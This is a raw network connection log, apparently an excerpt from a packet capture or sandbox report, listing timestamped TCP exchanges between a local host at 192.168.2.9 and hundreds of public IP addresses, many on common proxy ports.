Mar 11, 2024 15:21:01.878593922 CET	80	49994	104.23.125.117	192.168.2.9
Mar 11, 2024 15:21:01.878607988 CET	80	50125	104.17.9.114	192.168.2.9
Mar 11, 2024 15:21:01.878690958 CET	50125	80	192.168.2.9	104.17.9.114
Mar 11, 2024 15:21:01.878695011 CET	49994	80	192.168.2.9	104.23.125.117
Mar 11, 2024 15:21:01.882044077 CET	4145	49970	222.124.130.197	192.168.2.9
Mar 11, 2024 15:21:01.884141922 CET	10000	50011	46.17.63.166	192.168.2.9
Mar 11, 2024 15:21:01.884263992 CET	50011	10000	192.168.2.9	46.17.63.166
Mar 11, 2024 15:21:01.884527922 CET	80	50133	172.67.182.96	192.168.2.9
Mar 11, 2024 15:21:01.884654999 CET	50133	80	192.168.2.9	172.67.182.96
Mar 11, 2024 15:21:01.885327101 CET	8080	50035	34.84.95.189	192.168.2.9
Mar 11, 2024 15:21:01.885430098 CET	50035	8080	192.168.2.9	34.84.95.189
Mar 11, 2024 15:21:01.887607098 CET	49725	80	192.168.2.9	50.218.57.71
Mar 11, 2024 15:21:01.887655973 CET	49740	80	192.168.2.9	50.220.168.134
Mar 11, 2024 15:21:01.890535116 CET	4153	49980	138.36.196.11	192.168.2.9
Mar 11, 2024 15:21:01.890661001 CET	49980	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:01.891292095 CET	80	49863	172.64.80.55	192.168.2.9
Mar 11, 2024 15:21:01.896136999 CET	80	50025	61.79.73.225	192.168.2.9
Mar 11, 2024 15:21:01.897007942 CET	80	49878	185.162.228.128	192.168.2.9
Mar 11, 2024 15:21:01.897145987 CET	50025	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:01.897293091 CET	39533	50014	167.172.109.12	192.168.2.9
Mar 11, 2024 15:21:01.898057938 CET	49956	3950	192.168.2.9	148.72.212.198
Mar 11, 2024 15:21:01.898209095 CET	80	50040	50.218.57.67	192.168.2.9
Mar 11, 2024 15:21:01.898243904 CET	50125	80	192.168.2.9	104.17.9.114
Mar 11, 2024 15:21:01.898462057 CET	50011	10000	192.168.2.9	46.17.63.166
Mar 11, 2024 15:21:01.898761034 CET	50035	8080	192.168.2.9	34.84.95.189
Mar 11, 2024 15:21:01.898761988 CET	50133	80	192.168.2.9	172.67.182.96
Mar 11, 2024 15:21:01.898969889 CET	49980	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:01.898986101 CET	80	49781	47.93.121.200	192.168.2.9
Mar 11, 2024 15:21:01.899128914 CET	80	49781	47.93.121.200	192.168.2.9
Mar 11, 2024 15:21:01.899141073 CET	80	49781	47.93.121.200	192.168.2.9
Mar 11, 2024 15:21:01.899157047 CET	50025	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:01.899323940 CET	49781	80	192.168.2.9	47.93.121.200
Mar 11, 2024 15:21:01.899544954 CET	1080	49903	171.247.245.221	192.168.2.9
Mar 11, 2024 15:21:01.900372028 CET	49781	80	192.168.2.9	47.93.121.200
Mar 11, 2024 15:21:01.900377989 CET	50298	8080	192.168.2.9	201.184.63.218
Mar 11, 2024 15:21:01.900470972 CET	50299	8080	192.168.2.9	85.117.60.162
Mar 11, 2024 15:21:01.900470972 CET	49903	1080	192.168.2.9	171.247.245.221
Mar 11, 2024 15:21:01.901006937 CET	49903	1080	192.168.2.9	171.247.245.221
Mar 11, 2024 15:21:01.901477098 CET	1080	49987	43.229.254.163	192.168.2.9
Mar 11, 2024 15:21:01.902010918 CET	50039	4145	192.168.2.9	72.210.221.223
Mar 11, 2024 15:21:01.902204990 CET	50300	8080	192.168.2.9	103.24.107.186
Mar 11, 2024 15:21:01.902266979 CET	80	49894	104.21.218.103	192.168.2.9
Mar 11, 2024 15:21:01.902431011 CET	50302	999	192.168.2.9	177.93.44.53
Mar 11, 2024 15:21:01.902436972 CET	50301	80	192.168.2.9	68.183.143.134
Mar 11, 2024 15:21:01.902662039 CET	50304	1080	192.168.2.9	192.99.221.162
Mar 11, 2024 15:21:01.902666092 CET	50303	80	192.168.2.9	104.17.66.69
Mar 11, 2024 15:21:01.902856112 CET	49997	80	192.168.2.9	119.196.168.183
Mar 11, 2024 15:21:01.903192043 CET	49729	80	192.168.2.9	50.217.226.44
Mar 11, 2024 15:21:01.903198004 CET	49994	80	192.168.2.9	104.23.125.117
Mar 11, 2024 15:21:01.903568983 CET	50305	4153	192.168.2.9	187.62.89.252
Mar 11, 2024 15:21:01.904567003 CET	50307	41890	192.168.2.9	36.95.84.151
Mar 11, 2024 15:21:01.904568911 CET	50306	8080	192.168.2.9	95.84.166.138
Mar 11, 2024 15:21:01.904983997 CET	50308	80	192.168.2.9	31.220.56.210
Mar 11, 2024 15:21:01.904983997 CET	50309	22735	192.168.2.9	91.142.222.84
Mar 11, 2024 15:21:01.905762911 CET	80	49781	47.93.121.200	192.168.2.9
Mar 11, 2024 15:21:01.905777931 CET	80	49899	45.14.174.148	192.168.2.9
Mar 11, 2024 15:21:01.905796051 CET	50310	60433	192.168.2.9	162.214.227.68
Mar 11, 2024 15:21:01.906141043 CET	50311	10801	192.168.2.9	109.120.218.158
Mar 11, 2024 15:21:01.906443119 CET	50312	55606	192.168.2.9	45.117.179.179
Mar 11, 2024 15:21:01.907134056 CET	50313	13135	192.168.2.9	108.175.24.1
Mar 11, 2024 15:21:01.907134056 CET	50314	53948	192.168.2.9	161.97.173.42
Mar 11, 2024 15:21:01.908042908 CET	50315	45787	192.168.2.9	103.42.28.27
Mar 11, 2024 15:21:01.908044100 CET	50316	8080	192.168.2.9	81.44.83.70
Mar 11, 2024 15:21:01.908752918 CET	50318	4153	192.168.2.9	185.40.80.143
Mar 11, 2024 15:21:01.908819914 CET	50317	59058	192.168.2.9	213.136.75.85
Mar 11, 2024 15:21:01.909579992 CET	50319	14253	192.168.2.9	171.244.140.160
Mar 11, 2024 15:21:01.909831047 CET	50320	16683	192.168.2.9	72.10.160.94
Mar 11, 2024 15:21:01.910964966 CET	50321	8080	192.168.2.9	85.221.249.213
Mar 11, 2024 15:21:01.911544085 CET	50322	8085	192.168.2.9	46.161.194.91
Mar 11, 2024 15:21:01.912173986 CET	80	50036	59.6.26.121	192.168.2.9
Mar 11, 2024 15:21:01.912259102 CET	50036	80	192.168.2.9	59.6.26.121
Mar 11, 2024 15:21:01.912772894 CET	50036	80	192.168.2.9	59.6.26.121
Mar 11, 2024 15:21:01.912869930 CET	50323	80	192.168.2.9	172.93.213.177
Mar 11, 2024 15:21:01.913515091 CET	50324	8080	192.168.2.9	67.205.190.164
Mar 11, 2024 15:21:01.914549112 CET	50325	80	192.168.2.9	61.230.151.39
Mar 11, 2024 15:21:01.914551020 CET	50326	80	192.168.2.9	194.140.198.23
Mar 11, 2024 15:21:01.915530920 CET	27660	50041	139.162.181.177	192.168.2.9
Mar 11, 2024 15:21:01.915564060 CET	50327	62291	192.168.2.9	161.97.170.209
Mar 11, 2024 15:21:01.916629076 CET	50328	1080	192.168.2.9	117.10.124.11
Mar 11, 2024 15:21:01.917680979 CET	50329	25485	192.168.2.9	172.93.111.235
Mar 11, 2024 15:21:01.917684078 CET	50330	41847	192.168.2.9	162.214.75.237
Mar 11, 2024 15:21:01.918215036 CET	50331	80	192.168.2.9	50.223.38.6
Mar 11, 2024 15:21:01.919063091 CET	999	49975	181.209.78.76	192.168.2.9
Mar 11, 2024 15:21:01.919100046 CET	49780	80	192.168.2.9	50.145.6.32
Mar 11, 2024 15:21:01.919209003 CET	49752	29212	192.168.2.9	92.204.135.203
Mar 11, 2024 15:21:01.919373035 CET	49975	999	192.168.2.9	181.209.78.76
Mar 11, 2024 15:21:01.919514894 CET	80	49904	104.16.106.234	192.168.2.9
Mar 11, 2024 15:21:01.919610977 CET	49975	999	192.168.2.9	181.209.78.76
Mar 11, 2024 15:21:01.921489954 CET	80	50038	45.14.174.180	192.168.2.9
Mar 11, 2024 15:21:01.921494961 CET	50332	4153	192.168.2.9	181.13.198.90
Mar 11, 2024 15:21:01.921504021 CET	80	50038	45.14.174.180	192.168.2.9
Mar 11, 2024 15:21:01.921571016 CET	50333	8080	192.168.2.9	47.100.91.57
Mar 11, 2024 15:21:01.921845913 CET	50335	1976	192.168.2.9	45.240.182.120
Mar 11, 2024 15:21:01.921952963 CET	50336	4153	192.168.2.9	45.226.48.6
Mar 11, 2024 15:21:01.922089100 CET	80	50038	45.14.174.180	192.168.2.9
Mar 11, 2024 15:21:01.922121048 CET	50338	8380	192.168.2.9	68.169.60.220
Mar 11, 2024 15:21:01.922122002 CET	50337	3128	192.168.2.9	159.203.61.169
Mar 11, 2024 15:21:01.922187090 CET	50334	15280	192.168.2.9	184.178.172.18
Mar 11, 2024 15:21:01.922540903 CET	50038	80	192.168.2.9	45.14.174.180
Mar 11, 2024 15:21:01.922542095 CET	50339	1080	192.168.2.9	31.43.203.100
Mar 11, 2024 15:21:01.923898935 CET	3128	50002	38.54.101.254	192.168.2.9
Mar 11, 2024 15:21:01.924762964 CET	50038	80	192.168.2.9	45.14.174.180
Mar 11, 2024 15:21:01.924885035 CET	5881	50106	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:01.925550938 CET	50340	27907	192.168.2.9	162.144.32.209
Mar 11, 2024 15:21:01.925627947 CET	50341	4145	192.168.2.9	119.18.152.139
Mar 11, 2024 15:21:01.926662922 CET	50342	80	192.168.2.9	5.161.103.113
Mar 11, 2024 15:21:01.926873922 CET	50343	5678	192.168.2.9	185.56.180.14
Mar 11, 2024 15:21:01.927891970 CET	50345	9080	192.168.2.9	38.54.6.39
Mar 11, 2024 15:21:01.927891970 CET	50344	80	192.168.2.9	121.128.194.154
Mar 11, 2024 15:21:01.928426027 CET	1080	50030	45.234.100.112	192.168.2.9
Mar 11, 2024 15:21:01.928543091 CET	50030	1080	192.168.2.9	45.234.100.112
Mar 11, 2024 15:21:01.928714991 CET	50030	1080	192.168.2.9	45.234.100.112
Mar 11, 2024 15:21:01.928915977 CET	80	50147	162.159.242.158	192.168.2.9
Mar 11, 2024 15:21:01.929085970 CET	50147	80	192.168.2.9	162.159.242.158
Mar 11, 2024 15:21:01.929672956 CET	50346	12446	192.168.2.9	148.72.209.174
Mar 11, 2024 15:21:01.930244923 CET	50147	80	192.168.2.9	162.159.242.158
Mar 11, 2024 15:21:01.930248976 CET	50347	80	192.168.2.9	51.255.82.124
Mar 11, 2024 15:21:01.930934906 CET	50348	53281	192.168.2.9	46.250.25.225
Mar 11, 2024 15:21:01.930937052 CET	50349	3128	192.168.2.9	18.135.133.116
Mar 11, 2024 15:21:01.931433916 CET	50350	55507	192.168.2.9	5.58.33.187
Mar 11, 2024 15:21:01.931946039 CET	50351	14066	192.168.2.9	139.59.90.148
Mar 11, 2024 15:21:01.932969093 CET	50352	24809	192.168.2.9	72.10.160.90
Mar 11, 2024 15:21:01.933108091 CET	50353	16379	192.168.2.9	51.15.133.214
Mar 11, 2024 15:21:01.934271097 CET	50354	8888	192.168.2.9	47.114.101.57
Mar 11, 2024 15:21:01.934436083 CET	49746	80	192.168.2.9	50.174.214.218
Mar 11, 2024 15:21:01.934438944 CET	49772	5385	192.168.2.9	72.10.160.170
Mar 11, 2024 15:21:01.934451103 CET	49775	11679	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:01.934451103 CET	49741	4153	192.168.2.9	103.209.230.185
Mar 11, 2024 15:21:01.934787989 CET	50355	38080	192.168.2.9	31.44.82.2
Mar 11, 2024 15:21:01.934788942 CET	50356	3128	192.168.2.9	178.94.231.93
Mar 11, 2024 15:21:01.935787916 CET	50357	4145	192.168.2.9	72.195.101.99
Mar 11, 2024 15:21:01.935992956 CET	50359	63886	192.168.2.9	209.126.5.138
Mar 11, 2024 15:21:01.935992956 CET	50358	5678	192.168.2.9	103.159.220.157
Mar 11, 2024 15:21:01.937035084 CET	50360	8080	192.168.2.9	124.120.113.165
Mar 11, 2024 15:21:01.937233925 CET	80	50158	104.16.25.216	192.168.2.9
Mar 11, 2024 15:21:01.937546968 CET	50158	80	192.168.2.9	104.16.25.216
Mar 11, 2024 15:21:01.937546968 CET	50158	80	192.168.2.9	104.16.25.216
Mar 11, 2024 15:21:01.938318968 CET	50361	80	192.168.2.9	198.49.68.80
Mar 11, 2024 15:21:01.938771009 CET	50362	10713	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:01.939444065 CET	50363	80	192.168.2.9	50.145.6.38
Mar 11, 2024 15:21:01.939791918 CET	80	50045	81.250.223.126	192.168.2.9
Mar 11, 2024 15:21:01.940280914 CET	8080	49947	103.148.51.19	192.168.2.9
Mar 11, 2024 15:21:01.940367937 CET	50045	80	192.168.2.9	81.250.223.126
Mar 11, 2024 15:21:01.940367937 CET	49947	8080	192.168.2.9	103.148.51.19
Mar 11, 2024 15:21:01.940727949 CET	50045	80	192.168.2.9	81.250.223.126
Mar 11, 2024 15:21:01.941297054 CET	49947	8080	192.168.2.9	103.148.51.19
Mar 11, 2024 15:21:01.941298008 CET	50364	32233	192.168.2.9	162.214.170.144
Mar 11, 2024 15:21:01.941499949 CET	50366	1080	192.168.2.9	84.22.45.175
Mar 11, 2024 15:21:01.941570997 CET	50365	3128	192.168.2.9	189.85.82.38
Mar 11, 2024 15:21:01.941729069 CET	50367	80	192.168.2.9	50.168.163.177
Mar 11, 2024 15:21:01.941832066 CET	80	50189	172.67.250.212	192.168.2.9
Mar 11, 2024 15:21:01.942464113 CET	50189	80	192.168.2.9	172.67.250.212
Mar 11, 2024 15:21:01.942464113 CET	50189	80	192.168.2.9	172.67.250.212
Mar 11, 2024 15:21:01.942468882 CET	50368	2275	192.168.2.9	207.244.229.34
Mar 11, 2024 15:21:01.943764925 CET	50369	2509	192.168.2.9	67.43.228.250
Mar 11, 2024 15:21:01.944108963 CET	50370	16379	192.168.2.9	51.15.142.4
Mar 11, 2024 15:21:01.944163084 CET	50371	33427	192.168.2.9	91.135.80.66
Mar 11, 2024 15:21:01.944375992 CET	50372	58839	192.168.2.9	165.227.104.122
Mar 11, 2024 15:21:01.944577932 CET	50373	19001	192.168.2.9	8.210.208.148
Mar 11, 2024 15:21:01.944761038 CET	50374	3128	192.168.2.9	47.229.171.150
Mar 11, 2024 15:21:01.944933891 CET	80	49926	104.27.15.161	192.168.2.9
Mar 11, 2024 15:21:01.945075989 CET	50375	37445	192.168.2.9	162.240.72.139
Mar 11, 2024 15:21:01.945344925 CET	50376	8080	192.168.2.9	95.47.149.8
Mar 11, 2024 15:21:01.945607901 CET	50377	80	192.168.2.9	31.43.179.160
Mar 11, 2024 15:21:01.945825100 CET	50378	21062	192.168.2.9	94.23.220.136
Mar 11, 2024 15:21:01.946572065 CET	50379	3128	192.168.2.9	178.245.145.234
Mar 11, 2024 15:21:01.946576118 CET	50380	8181	192.168.2.9	43.132.184.228
Mar 11, 2024 15:21:01.946927071 CET	50381	6012	192.168.2.9	45.11.95.166
Mar 11, 2024 15:21:01.947223902 CET	50382	8080	192.168.2.9	103.137.91.250
Mar 11, 2024 15:21:01.947339058 CET	50383	5678	192.168.2.9	109.87.130.6
Mar 11, 2024 15:21:01.948255062 CET	50384	29745	192.168.2.9	132.148.128.88
Mar 11, 2024 15:21:01.948255062 CET	50385	59559	192.168.2.9	162.144.79.97
Mar 11, 2024 15:21:01.948714972 CET	50386	5678	192.168.2.9	113.160.227.166
Mar 11, 2024 15:21:01.948987961 CET	50387	29618	192.168.2.9	192.169.226.96
Mar 11, 2024 15:21:01.949290037 CET	50388	31145	192.168.2.9	195.138.73.54
Mar 11, 2024 15:21:01.949636936 CET	50389	48414	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:01.949908018 CET	50390	4145	192.168.2.9	98.181.137.80
Mar 11, 2024 15:21:01.950139046 CET	49715	3128	192.168.2.9	122.155.165.191
Mar 11, 2024 15:21:01.950342894 CET	50391	80	192.168.2.9	41.207.187.178
Mar 11, 2024 15:21:01.950881004 CET	50392	6048	192.168.2.9	45.11.95.165
Mar 11, 2024 15:21:01.953349113 CET	10089	50064	147.75.92.251	192.168.2.9
Mar 11, 2024 15:21:01.953387976 CET	50394	83	192.168.2.9	103.147.128.65
Mar 11, 2024 15:21:01.954399109 CET	80	49935	172.64.86.217	192.168.2.9
Mar 11, 2024 15:21:01.954536915 CET	50064	10089	192.168.2.9	147.75.92.251
Mar 11, 2024 15:21:01.954646111 CET	50393	50564	192.168.2.9	164.92.86.113
Mar 11, 2024 15:21:01.954885960 CET	50395	1388	192.168.2.9	87.126.65.11
Mar 11, 2024 15:21:01.954886913 CET	50064	10089	192.168.2.9	147.75.92.251
Mar 11, 2024 15:21:01.955262899 CET	80	50136	50.168.72.117	192.168.2.9
Mar 11, 2024 15:21:01.955291986 CET	50396	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:01.955717087 CET	50397	19481	192.168.2.9	209.222.97.30
Mar 11, 2024 15:21:01.955774069 CET	80	49936	104.21.194.19	192.168.2.9
Mar 11, 2024 15:21:01.955888987 CET	50398	80	192.168.2.9	103.123.25.65
Mar 11, 2024 15:21:01.956800938 CET	50399	1080	192.168.2.9	101.250.10.211
Mar 11, 2024 15:21:01.956957102 CET	50400	80	192.168.2.9	104.16.108.149
Mar 11, 2024 15:21:01.957576036 CET	50402	999	192.168.2.9	191.97.19.66
Mar 11, 2024 15:21:01.957578897 CET	50401	80	192.168.2.9	50.170.90.29
Mar 11, 2024 15:21:01.957740068 CET	8635	50055	51.159.221.176	192.168.2.9
Mar 11, 2024 15:21:01.958107948 CET	50055	8635	192.168.2.9	51.159.221.176
Mar 11, 2024 15:21:01.958107948 CET	50055	8635	192.168.2.9	51.159.221.176
Mar 11, 2024 15:21:01.958268881 CET	50403	999	192.168.2.9	201.218.144.19
Mar 11, 2024 15:21:01.958585024 CET	50404	44523	192.168.2.9	51.161.33.206
Mar 11, 2024 15:21:01.958798885 CET	50405	4153	192.168.2.9	175.101.15.41
Mar 11, 2024 15:21:01.959394932 CET	8080	50196	47.88.3.19	192.168.2.9
Mar 11, 2024 15:21:01.959738016 CET	50196	8080	192.168.2.9	47.88.3.19
Mar 11, 2024 15:21:01.959934950 CET	50196	8080	192.168.2.9	47.88.3.19
Mar 11, 2024 15:21:01.960771084 CET	50406	80	192.168.2.9	104.19.138.4
Mar 11, 2024 15:21:01.960772038 CET	50407	4145	192.168.2.9	185.139.56.133
Mar 11, 2024 15:21:01.960932970 CET	50408	80	192.168.2.9	104.20.56.71
Mar 11, 2024 15:21:01.961102009 CET	80	50213	104.16.107.206	192.168.2.9
Mar 11, 2024 15:21:01.961178064 CET	50409	15901	192.168.2.9	203.96.177.211
Mar 11, 2024 15:21:01.961182117 CET	36129	50174	162.214.225.223	192.168.2.9
Mar 11, 2024 15:21:01.961183071 CET	50213	80	192.168.2.9	104.16.107.206
Mar 11, 2024 15:21:01.961296082 CET	50174	36129	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:01.961575985 CET	50213	80	192.168.2.9	104.16.107.206
Mar 11, 2024 15:21:01.961575985 CET	50174	36129	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:01.961779118 CET	50410	4145	192.168.2.9	45.6.229.227
Mar 11, 2024 15:21:01.962013960 CET	80	50220	104.22.14.48	192.168.2.9
Mar 11, 2024 15:21:01.962189913 CET	50220	80	192.168.2.9	104.22.14.48
Mar 11, 2024 15:21:01.962371111 CET	50220	80	192.168.2.9	104.22.14.48
Mar 11, 2024 15:21:01.962605000 CET	50411	5678	192.168.2.9	80.90.83.191
Mar 11, 2024 15:21:01.964761972 CET	3128	49734	165.232.158.60	192.168.2.9
Mar 11, 2024 15:21:01.965374947 CET	50412	3128	192.168.2.9	103.42.57.13
Mar 11, 2024 15:21:01.965413094 CET	80	50086	50.222.245.47	192.168.2.9
Mar 11, 2024 15:21:01.965783119 CET	50413	16614	192.168.2.9	178.62.79.49
Mar 11, 2024 15:21:01.965786934 CET	49758	80	192.168.2.9	50.173.182.90
Mar 11, 2024 15:21:01.965858936 CET	50415	8080	192.168.2.9	38.156.73.61
Mar 11, 2024 15:21:01.965857983 CET	50414	80	192.168.2.9	35.207.123.94
Mar 11, 2024 15:21:01.966092110 CET	50416	80	192.168.2.9	104.20.178.166
Mar 11, 2024 15:21:01.966442108 CET	50417	8080	192.168.2.9	62.112.10.26
Mar 11, 2024 15:21:01.966444016 CET	50418	17081	192.168.2.9	171.244.140.160
Mar 11, 2024 15:21:01.966470957 CET	50419	15673	192.168.2.9	43.131.245.216
Mar 11, 2024 15:21:01.967024088 CET	50421	4145	192.168.2.9	107.181.168.145
Mar 11, 2024 15:21:01.967024088 CET	50420	21605	192.168.2.9	128.199.221.91
Mar 11, 2024 15:21:01.967573881 CET	50422	8000	192.168.2.9	66.63.168.119
Mar 11, 2024 15:21:01.967947960 CET	50423	59421	192.168.2.9	45.81.232.17
Mar 11, 2024 15:21:01.968386889 CET	50425	20828	192.168.2.9	103.92.235.60
Mar 11, 2024 15:21:01.968420982 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:01.969419956 CET	50426	8089	192.168.2.9	114.231.82.153
Mar 11, 2024 15:21:01.969455004 CET	80	50234	104.19.217.219	192.168.2.9
Mar 11, 2024 15:21:01.969619036 CET	50234	80	192.168.2.9	104.19.217.219
Mar 11, 2024 15:21:01.969789028 CET	50427	8080	192.168.2.9	38.156.75.14
Mar 11, 2024 15:21:01.969789982 CET	50234	80	192.168.2.9	104.19.217.219
Mar 11, 2024 15:21:01.970472097 CET	50428	3128	192.168.2.9	84.39.112.144
Mar 11, 2024 15:21:01.970597029 CET	50429	32650	192.168.2.9	125.25.40.41
Mar 11, 2024 15:21:01.971178055 CET	50430	5078	192.168.2.9	159.223.166.21
Mar 11, 2024 15:21:01.971848011 CET	50431	10919	192.168.2.9	98.178.72.21
Mar 11, 2024 15:21:01.971971035 CET	50432	999	192.168.2.9	45.189.151.27
Mar 11, 2024 15:21:01.972311974 CET	50433	8080	192.168.2.9	103.139.127.244
Mar 11, 2024 15:21:01.973087072 CET	50434	4145	192.168.2.9	119.82.242.58
Mar 11, 2024 15:21:01.973187923 CET	46475	50078	88.202.230.103	192.168.2.9
Mar 11, 2024 15:21:01.973412037 CET	50078	46475	192.168.2.9	88.202.230.103
Mar 11, 2024 15:21:01.973481894 CET	50435	31654	192.168.2.9	98.162.25.4
Mar 11, 2024 15:21:01.974247932 CET	4145	50144	199.102.106.94	192.168.2.9
Mar 11, 2024 15:21:01.974373102 CET	50144	4145	192.168.2.9	199.102.106.94
Mar 11, 2024 15:21:01.977181911 CET	4145	50119	72.206.181.123	192.168.2.9
Mar 11, 2024 15:21:01.977298975 CET	50119	4145	192.168.2.9	72.206.181.123
Mar 11, 2024 15:21:01.977986097 CET	9002	50003	220.248.70.237	192.168.2.9
Mar 11, 2024 15:21:01.981101990 CET	50003	9002	192.168.2.9	220.248.70.237
Mar 11, 2024 15:21:01.983232975 CET	48993	50063	181.212.136.34	192.168.2.9
Mar 11, 2024 15:21:01.983330965 CET	50063	48993	192.168.2.9	181.212.136.34
Mar 11, 2024 15:21:01.984036922 CET	80	50252	104.25.135.170	192.168.2.9
Mar 11, 2024 15:21:01.984108925 CET	50252	80	192.168.2.9	104.25.135.170
Mar 11, 2024 15:21:01.986454010 CET	80	50084	20.205.61.143	192.168.2.9
Mar 11, 2024 15:21:01.986574888 CET	80	49942	93.117.225.195	192.168.2.9
Mar 11, 2024 15:21:01.988260984 CET	50563	50191	162.241.158.204	192.168.2.9
Mar 11, 2024 15:21:01.988699913 CET	80	50247	162.159.242.109	192.168.2.9
Mar 11, 2024 15:21:01.988758087 CET	50247	80	192.168.2.9	162.159.242.109
Mar 11, 2024 15:21:01.991437912 CET	50078	46475	192.168.2.9	88.202.230.103
Mar 11, 2024 15:21:01.992130995 CET	50003	9002	192.168.2.9	220.248.70.237
Mar 11, 2024 15:21:01.992130995 CET	50144	4145	192.168.2.9	199.102.106.94
Mar 11, 2024 15:21:01.992161036 CET	50119	4145	192.168.2.9	72.206.181.123
Mar 11, 2024 15:21:01.992203951 CET	80	50193	50.231.110.26	192.168.2.9
Mar 11, 2024 15:21:01.992332935 CET	50063	48993	192.168.2.9	181.212.136.34
Mar 11, 2024 15:21:01.992882967 CET	50247	80	192.168.2.9	162.159.242.109
Mar 11, 2024 15:21:01.993058920 CET	50252	80	192.168.2.9	104.25.135.170
Mar 11, 2024 15:21:01.993319988 CET	50436	8888	192.168.2.9	23.122.184.9
Mar 11, 2024 15:21:01.993773937 CET	50437	4145	192.168.2.9	1.4.145.244
Mar 11, 2024 15:21:01.993805885 CET	8193	50088	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:01.993947029 CET	50088	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:01.994091034 CET	50438	32650	192.168.2.9	103.29.90.66
Mar 11, 2024 15:21:01.994182110 CET	50088	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:01.994246960 CET	50439	8080	192.168.2.9	180.183.97.16
Mar 11, 2024 15:21:01.994853020 CET	50440	9091	192.168.2.9	112.51.96.118
Mar 11, 2024 15:21:01.995945930 CET	80	50221	5.78.65.91	192.168.2.9
Mar 11, 2024 15:21:01.996073961 CET	50221	80	192.168.2.9	5.78.65.91
Mar 11, 2024 15:21:01.996361971 CET	50221	80	192.168.2.9	5.78.65.91
Mar 11, 2024 15:21:01.996398926 CET	80	50269	104.25.108.120	192.168.2.9
Mar 11, 2024 15:21:01.996512890 CET	50269	80	192.168.2.9	104.25.108.120
Mar 11, 2024 15:21:01.997277975 CET	50269	80	192.168.2.9	104.25.108.120
Mar 11, 2024 15:21:01.997277975 CET	50442	1025	192.168.2.9	223.112.53.2
Mar 11, 2024 15:21:01.997278929 CET	50441	80	192.168.2.9	140.83.32.175
Mar 11, 2024 15:21:01.997447968 CET	50444	4145	192.168.2.9	174.64.199.79
Mar 11, 2024 15:21:01.997617960 CET	50445	80	192.168.2.9	82.97.215.240
Mar 11, 2024 15:21:01.997622013 CET	50443	80	192.168.2.9	50.218.57.70
Mar 11, 2024 15:21:01.998141050 CET	50446	8081	192.168.2.9	178.54.21.203
Mar 11, 2024 15:21:01.998580933 CET	80	50165	35.209.198.222	192.168.2.9
Mar 11, 2024 15:21:01.998925924 CET	50447	7302	192.168.2.9	211.93.2.190
Mar 11, 2024 15:21:01.999089003 CET	50448	11201	192.168.2.9	38.41.0.62
Mar 11, 2024 15:21:01.999150038 CET	45629	50154	162.241.6.97	192.168.2.9
Mar 11, 2024 15:21:02.000428915 CET	15673	50099	47.242.15.120	192.168.2.9
Mar 11, 2024 15:21:02.000468016 CET	50449	50903	192.168.2.9	92.205.61.38
Mar 11, 2024 15:21:02.000490904 CET	80	50090	23.227.38.198	192.168.2.9
Mar 11, 2024 15:21:02.000504971 CET	80	50090	23.227.38.198	192.168.2.9
Mar 11, 2024 15:21:02.000521898 CET	50099	15673	192.168.2.9	47.242.15.120
Mar 11, 2024 15:21:02.000755072 CET	80	50093	104.17.132.79	192.168.2.9
Mar 11, 2024 15:21:02.000767946 CET	80	50093	104.17.132.79	192.168.2.9
Mar 11, 2024 15:21:02.000868082 CET	50099	15673	192.168.2.9	47.242.15.120
Mar 11, 2024 15:21:02.000905991 CET	50090	80	192.168.2.9	23.227.38.198
Mar 11, 2024 15:21:02.000931025 CET	46249	50103	167.172.109.12	192.168.2.9
Mar 11, 2024 15:21:02.001214981 CET	50093	80	192.168.2.9	104.17.132.79
Mar 11, 2024 15:21:02.001226902 CET	80	50093	104.17.132.79	192.168.2.9
Mar 11, 2024 15:21:02.001321077 CET	50093	80	192.168.2.9	104.17.132.79
Mar 11, 2024 15:21:02.001344919 CET	80	50090	23.227.38.198	192.168.2.9
Mar 11, 2024 15:21:02.001396894 CET	50090	80	192.168.2.9	23.227.38.198
Mar 11, 2024 15:21:02.002382040 CET	50450	4153	192.168.2.9	180.183.39.207
Mar 11, 2024 15:21:02.002403021 CET	50451	4145	192.168.2.9	109.238.229.233
Mar 11, 2024 15:21:02.002916098 CET	50452	80	192.168.2.9	104.16.224.33
Mar 11, 2024 15:21:02.003019094 CET	4145	49934	184.178.172.14	192.168.2.9
Mar 11, 2024 15:21:02.003258944 CET	4145	49934	184.178.172.14	192.168.2.9
Mar 11, 2024 15:21:02.004333973 CET	50453	1599	192.168.2.9	72.10.160.172
Mar 11, 2024 15:21:02.004848957 CET	80	50098	172.67.105.234	192.168.2.9
Mar 11, 2024 15:21:02.004854918 CET	50454	4145	192.168.2.9	184.178.172.14
Mar 11, 2024 15:21:02.005017996 CET	80	50098	172.67.105.234	192.168.2.9
Mar 11, 2024 15:21:02.005033016 CET	80	50098	172.67.105.234	192.168.2.9
Mar 11, 2024 15:21:02.005052090 CET	50455	1976	192.168.2.9	41.65.103.30
Mar 11, 2024 15:21:02.005218983 CET	8193	50091	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:02.005223036 CET	50098	80	192.168.2.9	172.67.105.234
Mar 11, 2024 15:21:02.005300999 CET	50098	80	192.168.2.9	172.67.105.234
Mar 11, 2024 15:21:02.005337000 CET	50091	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.005805016 CET	50091	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.006583929 CET	50456	9080	192.168.2.9	38.54.95.19
Mar 11, 2024 15:21:02.006944895 CET	50458	999	192.168.2.9	190.90.22.106
Mar 11, 2024 15:21:02.006962061 CET	50457	4145	192.168.2.9	184.178.172.17
Mar 11, 2024 15:21:02.007601976 CET	50459	80	192.168.2.9	104.25.42.178
Mar 11, 2024 15:21:02.007623911 CET	4153	50062	103.94.133.91	192.168.2.9
Mar 11, 2024 15:21:02.007627964 CET	50460	8080	192.168.2.9	51.145.176.250
